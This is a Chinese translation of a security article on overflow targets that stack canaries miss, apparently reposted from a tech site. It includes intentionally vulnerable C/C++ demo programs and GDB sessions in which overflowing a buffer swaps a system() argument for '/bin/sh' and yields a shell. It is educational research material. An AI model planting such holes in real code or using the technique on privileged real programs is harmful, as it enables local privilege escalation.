时尚时尚最时尚的缓冲区溢出目标

安全 网站安全
在当今的操作系统中,内存缺陷漏洞已经越来越难挖掘了,栈保护措施已经使原来的缓冲区溢出利用方法(将NOP块和shellcode写入到缓冲区中,并用缓冲区内的地址覆盖EIP所指向的地址)失效了。如果没有某种程度的信息泄露,在地址空间分布随机化(ASLR)和栈cookies的双重保护下,用传统方法实际上已经很难对远程系统执行有效的溢出攻击了。

原文:《Modern Overflow Targets》 By Eric Wimberley,Nathan Harrison

在当今的操作系统中,内存缺陷漏洞已经越来越难挖掘了,栈保护措施已经使原来的缓冲区溢出利用方法(将NOP块和shellcode写入到缓冲区中,并用缓冲区内的地址覆盖EIP所指向的地址)失效了。如果没有某种程度的信息泄露,在地址空间分布随机化(ASLR)和栈cookies的双重保护下,用传统方法实际上已经很难对远程系统执行有效的溢出攻击了。

不过,现在仍存在可被利用的栈输入/输出漏洞。本文描述了一些常用缓冲区溢出技术,这些技术不会触发栈的__stack_chk_fail保护,或至少到目前为止还有效的技术。本文我们不再利用新技术通过修改EIP来修改程序的执行流程,而是将精力集中到一系列新的目标中。同时,本文也会讨论GCC 4.6及之前版本中未出现在任何文档中的函数安全模式(function safety model)。

GCC ProPolice记录的异常

根据函数安全模型的ProPolice文档,以下情况不会被保护:

◆无法被重新排序的结构体,以及函数中的指针是不安全的。

◆将指针变量作为参数时是不安全的。

◆动态分配字符串空间是不安全的。

◆调用trampoline代码的函数是不安全的。

另外,我们也发现以下几种情况也是不安全的:

◆如果函数中定义了一块以上缓存且没有正确排序,则至少一块缓存可能在引用前被修改被干扰。

◆参数列表中的指针或原语(primitives)可能被修改,但在canary检测之前被引用。

◆任意结构体原语或缓存都有可能在引用前被修改(包括C++中的栈对象)。

◆位于栈帧低地址中的指向变量的指针是不安全的,因为数据在被引用前可能会先被覆盖。这里我们不再局限于当前栈帧中的本地变量、指针(如函数指针)和缓存等。

IBM在关于函数安全模型的文档中假定攻击类型都是传统的栈溢出方式。文档中声明,函数返回后,栈canary后的数据是安全的,事实也确实是这样。但问题是数据在函数返回之前可能不是安全的。即使在不同的栈帧中,指向栈的高地址的指针也很容易被改写。#p#

基础攻击

以下为一个简单的示例:

  1. #include <stdio.h> 
  2. #include <stdlib.h> 
  3.    
  4. int main()  
  5. {  
  6.     char buff[10];  
  7.     char buff2[10] = "dir";    // 该命令在windows与linux系统中均有效  
  8.     scanf("%s", buff);  
  9.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  10.     system(buff2);  

这个简单的函数包含两个不同的变量,第一个变量从标准输入读取一个字符串,第二个变量作为system函数的参数。scanf函数包含可以溢出的漏洞,如果我们输入的字符超过10个,就会产生溢出,会将buff字符串数组之上高地址的任何数据覆盖。在GCC中,"fstack-protoctor-all"标记要作的就是在内存中检测这种情况。下面我们用GDB看一下:

main()函数的反汇编代码:

  1. 0x08048494 <+0>: push %ebp   
  2. 0x08048495 <+1>: mov %esp,%ebp   
  3. 0x08048497 <+3>: and $0xfffffff0,%esp   
  4. 0x0804849a <+6>: sub $0x30,%esp   
  5. 0x0804849d <+9>: mov %gs:0x14,%eax   
  6. 0x080484a3 <+15>: mov %eax,0x2c(%esp)   
  7. 0x080484a7 <+19>: xor %eax,%eax   
  8. 0x080484a9 <+21>: movl $0x726964,0x22(%esp)   
  9. 0x080484b1 <+29>: movl $0x0,0x26(%esp)   
  10. 0x080484b9 <+37>: movw $0x0,0x2a(%esp)  
  11.    
  12. 0x080484c0 <+44>: lea 0x18(%esp),%eax   
  13. 0x080484c4 <+48>: mov %eax,0x4(%esp)   
  14. 0x080484c8 <+52>: movl $0x80485e0,(%esp)   
  15. 0x080484cf <+59>: call 0x80483b0 <scanf@plt>   
  16. 0x080484d4 <+64>: movl $0x80485e4,(%esp)   
  17. 0x080484db <+71>: call 0x8048390 <puts@plt>   
  18. 0x080484e0 <+76>: lea 0x22(%esp),%eax   
  19. 0x080484e4 <+80>: mov %eax,(%esp)   
  20. 0x080484e7 <+83>: call 0x80483a0 <system@plt>   
  21. 0x080484ec <+88>: mov $0x0,%eax   
  22. 0x080484f1 <+93>: mov 0x2c(%esp),%edx   
  23. 0x080484f5 <+97>: xor %gs:0x14,%edx   
  24. 0x080484fc <+104>: je 0x8048503 <main()+111>   
  25. 0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt>   
  26. 0x08048503 <+111>: leave   
  27. 0x08048504 <+112>: ret   
  28. End of assembler dump.   
  29. (gdb) break *0x080484cf   
  30. Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7.   
  31. (gdb) break *0x080484e7   
  32. Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9.   
  33. (gdb) r   
  34. Starting program: /home/ewimberley/testing/a.out   
  35. Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7   
  36. 7 scanf("%s", buff);   
  37. (gdb) x/s buff2   
  38. 0xbffff312: "dir" 
  39. (gdb) con   
  40. condition continue 
  41. (gdb) continue 
  42. Continuing.   
  43. aaaaaaaaaa/bin/sh  
  44. A secure compiler should not execute this code in case of overflow.   
  45. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9   
  46. 9 system(buff2);   
  47. (gdb) x/s buff2   
  48. 0xbffff312: "/bin/sh" 
  49. (gdb) continue 
  50. Continuing.  
  51. $ whoami  
  52. ewimberley   
  53. $ exit  
  54. [Inferior 1 (process 3349) exited normally] 

可以向buff合法写入10个字节,多出来的字节写入到buff2中(canary被覆盖之前)。如果我们从标准输入写入21个‘a’并查看内存,可以看到canary的第一个字节(0x00)被破坏了。

  1. Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7   
  2. 7 scanf("%s", buff);   
  3. (gdb) x/32x buff   
  4. 0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00   
  5. 0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00   
  6. 0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2   
  7. 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00   
  8. (gdb) continue  
  9. Continuing.   
  10. aaaaaaaaaaaaaaaaaaaaa   
  11. A secure compiler should not execute this code in case of overflow.   
  12. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9   
  13. 9 system(buff2);   
  14. (gdb) x/32x buff   
  15. 0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61   
  16. 0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61   
  17. 0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2   
  18. 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00   
  19. (gdb) continue  
  20. Continuing.   
  21. sh: aaaaaaaaaaa: not found   
  22. *** stack smashing detected ***: /home/ewimberley/testing/a.out terminated   
  23. ======= Backtrace: =========   
  24. /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5]   
  25. /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887]   
  26. /home/ewimberley/testing/a.out[0x8048503]   
  27. /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113]   
  28. /home/ewimberley/testing/a.out[0x8048401]   
  29. ======= Memory map: ========   
  30. 00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so   
  31. 0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so   
  32. 0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so   
  33.    
  34. 00130000-00131000 r-xp 00000000 00:00 0 [vdso]   
  35. 00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  36. 002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  37. 002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so   
  38. 002aa000-002ad000 rw-p 00000000 00:00 0   
  39. 002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  40. 002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  41. 002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1   
  42. 08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out   
  43. 08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out   
  44. 0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out   
  45. 0804b000-0806c000 rw-p 00000000 00:00 0 [heap]   
  46. b7fec000-b7fed000 rw-p 00000000 00:00 0   
  47. b7ffc000-b8000000 rw-p 00000000 00:00 0   
  48. bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]   
  49. Program received signal SIGABRT, Aborted.   
  50. 0x00130416 in __kernel_vsyscall () 

需要注意的是,从sh得到的错误消息依然会被打印出来:

sh: aaaaaaaaaaa: not found

这是因为直到函数返回之前的那一刻才会进行栈检查,在检测到内存被破坏之前,非法的字符串已经被引用了。字符串结尾处的栈canary的第一个字节被覆盖(错误消息中只有11个‘a’,因为buff2中包含字节长)。下图演示了根据函数安全模型,函数在执行时栈帧的情况:

变量声明的顺序通常决定其在栈帧中的顺序。缓存在声明时通常是往栈底方向声明的,以此来减缓其对其它本地变量的溢出攻击,但当有两块缓存时,其中的一块必须在另一块缓存和canary之间。如果有缓冲区溢出漏洞影响了第一块缓存,则第二块缓存可被任意写入。这比所有的本地变量被溢出攻击要好,但字符串通常更容易被选为攻击目标。

函数参数不能轻易改变位置,所以它们在其在这些变量缓存的上面。主函数的缓存在栈帧的最底部(高地址)。如前文所述,直到函数返回时才会对栈进行检查,所以这些参数仍有可能被当前函数引用 。这表示可以通过将恶意代码写入到参数的方式来触发缓冲区溢出漏洞。

  1. void vulnerable(char* buffer)  
  2. {  
  3.     char buff[10];  
  4.     scanf("%s", buff);  
  5.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  6.     system(buffer);  
  7. }  
  8.    
  9. int main()  
  10. {  
  11.     char buff2[10] = "dir";  
  12.     vulnerable(buff2);  
  13.     printf("The overflow happened in a different function...\n");  

vulnerable()函数的栈帧的结构类似下图(根据编译器的不同略有差异)。char *buff与包含漏洞的char[] buff分别在canary的两侧,但仍无法避免受到溢出攻击。

时尚时尚最时尚的缓冲区溢出目标

在vulnerable()函数到达其返回点时,仍会进行canary检测。不幸的是,攻击者在这时已经获取到shell的访问权限,且在程序做出任意栈溢出警告前将其kill掉了。如果vulnerable()函数打开一个shell并杀死它自己的进程,安全检测就不会运行了。需要注意的是如果该漏洞程序是以root权限(或者设置了suid位且程序所有者为root)运行的,则通过利用该漏洞就可以获取到系统root用户权限。

时尚时尚最时尚的缓冲区溢出目标 #p#

其它攻击向量

 

system(char *)函数只是一个简单的示例,系统中还有很多类似的情况。本例中的攻击者溢出了一个直接传递到printf函数中的字符串。

时尚时尚最时尚的缓冲区溢出目标

容易受到攻击的目标包含但不限于:

 

传递到system(char *command)函数中的字符串

做为字符串格式的字符串(Strings that are used as a string format)

包含SQL状态的字符串

包含XML的字符串

写入到硬盘的字符串

包含密码信息的字符串

包含加密密钥的字符串

包含文件名的字符串

​附录A

引用资料

  1. /*  
  2. Copyright (C) 2012 Eric Wimberley and Nathan Harrison  
  3. WARNING:  
  4. 以下这段代码故意写成易受攻击的形式。  
  5. 读者可以尝试在测试系统或沙盒中编译并以守护程序或以root权限运行这段代码。  
  6. */  
  7. // windows系统中需要的头文件  
  8. //#include "stdafx.h"   
  9. //#include <process.h>   
  10. // linux系统中需要的头文件  
  11. #include <stdlib.h>   
  12. #include <stdio.h>   
  13. // code portability for vulnerable function   
  14. // TODO pick a vulnerable function, any vulnerable function   
  15. //#define vulnerableFunction printf   
  16. #define vulnerableFunction system   
  17. //#define vulnerableFunction mysql_query(...)?   
  18. //#define vulnerableFunction someone_who_trusts_this_string_in_any_way(...)?   
  19. // code portability for scanf function (for what it's worth)   
  20. // TODO comment out for linux   
  21. //#define scanf scanf_s   
  22. void a()  
  23. {  
  24.     char buff2[10] = "dir";  
  25.     char buff[10];  
  26.     scanf("%s", buff);  
  27.     printf("A secure compiler should not execute this code in case of overflow.\n");  
  28.     vulnerableFunction(buff2);  
  29. }  
  30.    
  31. void c(char* buffer)  
  32. {  
  33.     char buff[10];  
  34.     // 如果使用scanf_s漏洞就不存在了  
  35.     // 预编译指令是为了保证不使用scanf_s  
  36.     #ifndef scanf   
  37.     scanf("%s", buff);   
  38.     #endif   
  39.     #ifdef scanf   
  40.     #undef scanf   
  41.     scanf("%s", buff);   
  42.     #define scanf scanf_s   
  43.     #endif   
  44.     printf("A secure compiler should not execute this code in case of overflow.\n");   
  45.     vulnerableFunction(buffer);   
  46. }  
  47.    
  48. class TestClass  
  49. {  
  50. public:  
  51.     char buff[10];  
  52.     char buff2[21];  
  53.     TestClass()  
  54.     {   
  55.         sscanf(buff2, "SELECT * FROM table;");  
  56.     }   
  57.     void a()  
  58.     {  
  59.         scanf("%s", buff);  
  60.         printf("A secure compiler should not execute this code in case of overflow.\n");  
  61.         vulnerableFunction(buff2);  
  62.     }  
  63. };  
  64.    
  65. void scenario1()  
  66. {  
  67.     // Case 1 and 2:简单栈帧  
  68.     // depending on compiler implementation these stack frames may be arranged so   
  69.     // such that one buffer can overflow into the other (at least one of these   
  70.     // works on most compilers)   
  71.     // TODO pick one of these  
  72.     printf("Running scenario 1...\n");  
  73.     a();   
  74. }  
  75.    
  76. void scenario2()  
  77. {   
  78.     // Case 2:对象中的堆溢出  
  79.     // 堆溢出是一个已知的问题,但对象使该问题更严重了  
  80.     // 因为对象之间的缓存是相临的。  
  81.     printf("Running scenario 2...\n");   
  82.     TestClass* test = new TestClass();   
  83.     test->a();   
  84. }  
  85.     
  86. void scenario3()  
  87. {  
  88.     // Case 3:对象中的栈溢出  
  89.     // objects on the stack are almost unaccounted for  
  90.     printf("Running scenario 3...\n");  
  91.     TestClass test = TestClass();  
  92.     test.a();  
  93. }  
  94.    
  95. void scenario4Part2(TestClass& test)  
  96. {  
  97.     test.a();  
  98. }  
  99.    
  100. void scenario4()  
  101. {  
  102.     // Case 4:对象中的栈溢出  
  103.     // objects on the stack are almost unaccounted for  
  104.     // 该情况也可以作为栈检查应该更早执行的证明  
  105.     // 栈检查的最佳时机就是缓存被改写之后就直接检查  
  106.     printf("Running scenario 4...\n");  
  107.     TestClass test = TestClass();  
  108.     scenario4Part2(test);  
  109.     printf("The overflow happened in a different function...\n");  
  110. }  
  111.    
  112. // honestly, this scenario might be the worst offender   
  113. void scenario5()  
  114. {  
  115.     // Case 5:对象中的栈溢出  
  116.     // 函数参数在栈canary以下,但由于不正确的检查时机,其包含漏洞  
  117.     // 该情况也可以作为栈检查应该更早执行的证明  
  118.     // 栈检查的最佳时机就是缓存被改写之后就直接检查  
  119.     printf("Running scenario 5...\n");  
  120.     char buff2[10] = "dir";  
  121.     c(buff2);  
  122.     printf("The overflow happened in a different function...\n");  
  123. }  
  124.    
  125. // TODO use precompiler to make this code portable  
  126. // int _tmain(int argc, char* argv[])  
  127. int main(int argc, char* argv[])  
  128. {  
  129.     if(argc == 2)  
  130.     {  
  131.         if(argv[1][0] == '1')  
  132.         {  
  133.             scenario1();  
  134.         }  
  135.         else if(argv[1][0] == '2')  
  136.         {  
  137.             scenario2();  
  138.         }  
  139.         else if(argv[1][0] == '3')  
  140.         {  
  141.             scenario3();  
  142.         }  
  143.         else if(argv[1][0] == '4')  
  144.         {  
  145.             scenario4();   
  146.         }   
  147.         else if(argv[1][0] == '5')  
  148.         {   
  149.             scenario5();  
  150.         }  
  151.     }  
  152.     else{  
  153.         printf("Usage [program] [scenario number 1-5]\n");  
  154.     }  
  155.     printf("\nA secure compiler should not get to this point.\n");  
  156.    
  157.     return 0;  

《Smashing The Stack For Fun And Profit》

Aleph1

http://www.phrack.org/issues.html?id=14&issue=49

《Protecting from stack-smashing attacks》

Hiroaki Etoh and Kunikazu Yoda

http://www.research.ibm.com/trl/projects/security/ssp/node4.html#SECTION00041000000000000000

责任编辑:蓝雨泪 来源: IDF实验室
相关推荐

2020-10-23 06:33:22

时尚产业物联网IoT

2022-09-26 11:10:00

人工智能华为云

2013-09-25 16:05:03

创新中国

2017-05-08 17:39:30

oppo

2019-02-27 13:58:29

漏洞缓冲区溢出系统安全

2017-01-09 17:03:34

2009-09-24 18:16:40

2018-01-26 14:52:43

2014-07-30 11:21:46

2011-05-07 16:09:55

上网本华硕EeePC 101

2012-01-17 10:48:55

笔记本评测

2011-12-09 15:43:30

2010-12-27 10:21:21

2012-12-18 09:49:57

jQueryJavaScriptJS

2009-12-18 08:40:12

ADSL无线路由设置

2010-09-08 15:43:18

2011-03-23 12:39:44

2017-11-03 12:55:13

技术

2010-10-09 14:45:48

点赞
收藏

51CTO技术栈公众号